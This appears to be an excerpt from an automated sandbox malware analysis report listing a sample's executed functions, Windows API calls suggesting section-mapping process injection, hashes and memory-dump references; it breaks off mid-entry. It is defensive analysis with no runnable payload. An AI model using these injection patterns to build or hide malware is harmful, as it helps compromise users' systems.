Opcode ID: dfdb1701cc504efec387e8096027760864ea4d519eb72577fdf3181611bb8823
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: dfdb1701cc504efec387e8096027760864ea4d519eb72577fdf3181611bb8823
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 02B7733A Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02B7738B

Memory Dump Source

Source File: 00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp, Offset: 02B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_BRvptajioG.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 0ef5e6e2d35568a430b2b20286d2eda5cab76cc74025c0b959928546c7865815
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: BB112D79A40208EFDB01DF98C989E98BBF5AF08351F158094F9589B361D771EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: eb3a9600bf11ff3cabe16e23ccac661da4c38a337b7bb88c5ef7298d012d06b6
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: eb3a9600bf11ff3cabe16e23ccac661da4c38a337b7bb88c5ef7298d012d06b6
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b7d1590f8382f894c6ecafb5dfb7cedd42c7ffaf4b4467f651800ba2eecc3e7b
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: b7d1590f8382f894c6ecafb5dfb7cedd42c7ffaf4b4467f651800ba2eecc3e7b
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02B4092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02B40966
., xrefs: 02B4095F
GetProcAddress., xrefs: 02B409DC, 02B409DF, 02B409E4

Memory Dump Source

Source File: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b40000_BRvptajioG.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 018fe3431220d8da6c33fc8fd094a44845520c591d0d38f2d6088712aae3968e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E2316CB6910609DFDB14DF99C880AAEBBF5FF48324F14448AD941A7310D771EA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02B76F58 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp, Offset: 02B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_BRvptajioG.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 7326d246f8d97665ebc2c60fdf008865a609f67b6e983a6353b5797a6d5e2f64
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 7C117C72340501AFDB44DE55DC90EA673EAEB99220B1980A9E915CB311E675EC02CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02B40D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b40000_BRvptajioG.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 85b3ebdac8fd9377bf051e97c5bc4b49f2f844434fcb6bec65c32ef7a34ba72f
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 2401F272A106008FDF25EF20CC84BAA33F5EF86206F0548F4DA0A97281EB70A9458B80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: decegfuPID: 7716, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	99
Total number of Limit Nodes:	3

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2cbd6ec05239dbc4a503fd607fc061f182b9162cf2da94a36cc8c115d3a77736
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 2cbd6ec05239dbc4a503fd607fc061f182b9162cf2da94a36cc8c115d3a77736
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: df07a11c1f24d791c25e537703dbce26070684c9deafe950bb9681e10f81a9a9
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: df07a11c1f24d791c25e537703dbce26070684c9deafe950bb9681e10f81a9a9
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a7e60c5a41d4908375fc31c4b6c4e2bbeec22892769375b72d3bd83e5b0b977f
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: a7e60c5a41d4908375fc31c4b6c4e2bbeec22892769375b72d3bd83e5b0b977f
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 135eed6116c8d0df2f7178b09ade5a6e1ff685039e88d48ad467dd30cdb0616a
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 135eed6116c8d0df2f7178b09ade5a6e1ff685039e88d48ad467dd30cdb0616a
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ba67e1f16af4be9518fed8aacaae1832fa0a3a80067efc1925776326dbaa2bcf
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: ba67e1f16af4be9518fed8aacaae1832fa0a3a80067efc1925776326dbaa2bcf
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 02C4003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02C4024D

Strings

cess, xrefs: 02C4018D
kernel32.dll, xrefs: 02C4008F, 02C40095

Memory Dump Source

Source File: 0000000D.00000002.1690397415.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c40000_decegfu.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9c6c39d744e66da998234f7eafb144f198e58fe89f23fef007059eb5dcb8abaf
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7D527974A01229DFDB64CF68C984BADBBB1BF09304F1480D9E94DAB351DB30AA85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 02DC6B63 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02DC6B8B
Module32First.KERNEL32(00000000,00000224), ref: 02DC6BAB

Memory Dump Source

Source File: 0000000D.00000002.1690627689.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2dc0000_decegfu.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: c676aa2294f8e68bf18a8dd6d488bd220ae499e4cfb3003053c77e77c1e11303
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 73F062351007126FD7203AF9988CB6E76EDEF89724F20066CF646D21C0DB70EC458AA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C40E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02C40223,?,?), ref: 02C40E19
SetErrorMode.KERNELBASE(00000000,?,?,02C40223,?,?), ref: 02C40E1E

Memory Dump Source

Source File: 0000000D.00000002.1690397415.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c40000_decegfu.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 994b33df5fd358b2e7e35cf1cce9ee3a15b093092ac9ac22606117ff364d12c4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 9AD0123114512877D7002A94DC09BCE7B1CDF05B66F008011FB0DD9080CB70964046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: a4dca9302e0dad72885c4692ab5cb8cae0b5d62f3c3c569d28ec25213b71ed9b
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: a4dca9302e0dad72885c4692ab5cb8cae0b5d62f3c3c569d28ec25213b71ed9b
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 333aea26451719957bd8781c4e70e83443ace3711d050c956ec81263ed65ec92
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 333aea26451719957bd8781c4e70e83443ace3711d050c956ec81263ed65ec92
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: da894c7326048032464e7349d523fd108c1afa196a754505061287001ba291c1
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: da894c7326048032464e7349d523fd108c1afa196a754505061287001ba291c1
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 93c6ed4af90dd73a0cd116a21735c1461f97803cc5cb0c65d4839ead39cc4991
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 93c6ed4af90dd73a0cd116a21735c1461f97803cc5cb0c65d4839ead39cc4991
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: d0d0def40aac7e8450b63a54bcf2c7dac1937ebce113abd7991520b4d605f8bf
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: d0d0def40aac7e8450b63a54bcf2c7dac1937ebce113abd7991520b4d605f8bf
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 3e53b5cf2e2ed02fb7f3c038b8c139b1b1e2f817f129a3cb190f97decf0f5574
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 3e53b5cf2e2ed02fb7f3c038b8c139b1b1e2f817f129a3cb190f97decf0f5574
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: a7adcaff03fe6d5cd1b91967a91de7f13e7fa7f8c537a28c3eeb2b937e183322
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: a7adcaff03fe6d5cd1b91967a91de7f13e7fa7f8c537a28c3eeb2b937e183322
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 1cdd2c51383e0c2d96f43bc5613bac4cb7d039a029d09a8172cc3fa442de89e5
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: 1cdd2c51383e0c2d96f43bc5613bac4cb7d039a029d09a8172cc3fa442de89e5
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8797b8bc6885a342f1e36b93119ef4e798d31798743e175d47ca896281835956
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 8797b8bc6885a342f1e36b93119ef4e798d31798743e175d47ca896281835956
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
